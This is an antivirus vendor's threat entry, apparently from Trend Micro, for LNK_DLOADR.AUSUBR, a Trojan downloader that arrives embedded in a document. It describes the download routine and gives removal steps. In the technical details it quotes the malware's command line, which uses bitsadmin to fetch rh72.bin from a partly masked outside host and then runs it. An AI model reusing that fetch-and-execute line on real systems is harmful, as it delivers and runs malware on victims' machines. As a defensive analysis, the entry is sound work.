LNK_DLOADR.AUSUBR
Mal/DownLnk-F (Sophos)
Windows
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Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://direct.{BLOCKED}homewares.com/rh72.bin
It saves the files it downloads using the following names:
- %Application Data%\file.exe
(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- The malware uses these powershell commands in order to perform its malicious routines:
- %System%\cmd.exe" /c explorer.exe & bitsadmin.exe /transfer d /priority high http://direct.{BLOCKED}homewares.com/rh72.bin %Application Data%\file.exe& %Application Data%\file.exe
- It opens windows explorer (explorer.exe) upon execution which serves as a distraction, in order to hide its routine from the user.
NOTES:
Arrival Method
The malware arrives as an embedded file on a document, detected as TROJ_DLOADR.AUSUBR:
Behavior
It does not have rootkit capabilities.
It does not exploit any vulnerability.
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete files detected as LNK_DLOADR.AUSUBR
- TROJ_DLOADR.AUSUBR
Step 4
Search and delete these files
- %Application Data%\file.exe
Step 5
Scan your computer with your Trend Micro product to delete files detected as LNK_DLOADR.AUSUBR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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